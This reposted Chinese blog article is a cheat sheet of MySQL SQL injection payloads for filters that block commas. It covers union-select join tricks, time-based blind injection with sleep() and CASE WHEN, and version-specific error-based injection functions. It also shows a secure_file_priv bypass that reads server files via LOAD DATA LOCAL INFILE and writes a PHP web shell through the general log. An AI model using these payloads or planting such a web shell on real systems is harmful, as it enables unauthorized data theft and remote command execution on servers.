MySQL不使用逗号_Mysql 不能使用逗号的情况
不存在逗號的情況:
聯(lián)合查詢:
1.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)
盲注:
1.select user,password from user where user=‘‘ and (sleep(length(user())=14));
select user,password from user where user=‘‘ and? (sleep(ascii(mid(user()from(1)for(1)))=114));
這是第一種,直接執(zhí)行sleep()函數(shù),但是沒辦法控制延遲時間,固定為sleep(true) == sleep(1),當(dāng)網(wǎng)絡(luò)存在波動的時候,可能會誤判。
2.select user,password from user where user=‘‘ and (select case when (length(user())=14) then sleep(5) else 0 end);
select user,password from user where user=‘‘ and (select case when (substring((select user()) from(1)for(1))=‘o‘) then sleep(5) else 0 end);
這是第二種,case when關(guān)鍵字,代替 if 語句。
substring((select user()),1,2) ==?substring((select user()) from(1)for(2)) :from(1)表示從第一個位置開始,for(2)表示截取兩個字符。P.S: mid函數(shù)同理。
substring((select user()) from-10) :也可以這樣寫,表示截取最后10位字符。這可以配合regexp使用正則來使用:substring(user() from-10) regexp ‘.*host‘
報錯注入:
測試的數(shù)據(jù)庫版本為:5.0.96-community,5.1.60-community,5.5.29,5.5.53,5.7.26
5.0.96-community下:
@@secure_file_priv 為 NULL,默認(rèn)不影響讀,寫文件等操作。
只有 floor( 函數(shù)的報錯語句可以使用,但是該語句必須要 逗號 。
5.1.60-community下:
@@secure_file_priv 為 NULL,默認(rèn)不影響 讀,寫文件等操作。
1.extractValue,updateXML 這兩個函數(shù)可以開始使用了,具體Mysql版本:>=5.1.5即可使用,但是也必須使用逗號。
注:該函數(shù)每次查詢的數(shù)據(jù)只有32個字符,可以配合substr函數(shù)使用。
2.floor導(dǎo)致的報錯可以使用。
3.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()等函數(shù)都可以使用,并且不需要逗號。
4.exp函數(shù)導(dǎo)致的報錯,不能使用。
5.5.29:
@@secure_file_priv 為 NULL,默認(rèn)不影響 讀,寫文件等操作。
1.extractValue,updateXML,floor,都可以使用,但是需要逗號。
2..geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp() 都可以使用,不需要逗號。
5.5.53
@@secure_file_priv 為 NULL,默認(rèn) 影響 讀,寫文件等操作。
繞過secure_file_priv 限制進行讀寫文件:
讀文件:
CREATE TABLE `tmp` (`tmp` TEXT NOT NULL );
load data local infile ‘D:/5529.txt‘ into table tmp; 成功將文件內(nèi)容寫入tmp表。
寫文件:
set global general_log=‘on‘;
SET global general_log_file=‘D:/cmd.php‘;
SELECT ‘<?php assert($_POST["cmd"]);?>‘;
需要能執(zhí)行多語句。
1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等關(guān)鍵字的報錯語句全部失敗。
2.extractValue,updateXML,floor,都可以使用,但是需要逗號。
5.7.26
@@secure_file_priv 為 NULL,默認(rèn) 影響 讀,寫文件等操作。
繞過secure_file_priv 限制進行讀寫文件,利用如上5.5.53。
1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等關(guān)鍵字的報錯語句全部失敗。
2.extractValue,updateXML,都可以使用,但是需要逗號。
3.新增的報錯語句:select ST_LatFromGeoHash(user());select ST_LongFromGeoHash(user());select ST_PointFromGeoHash(user(),1);select GTID_SUBSET(user(),1);
4.floor的報錯語句,在5.7版本中與之前的有一些不一樣。也就是使用 and 還是 or 連接符的結(jié)果不一樣。也就是:
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 必須要能執(zhí)行。見圖:
文章持續(xù)更新...
原文:https://www.cnblogs.com/xiaozhiru/p/12638280.html
總結(jié)
以上是生活随笔為你收集整理的MySQL不使用逗号_Mysql 不能使用逗号的情况的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: antd4 table里面表单赋值_vu
- 下一篇: mysql da_DA面板如何管理Mys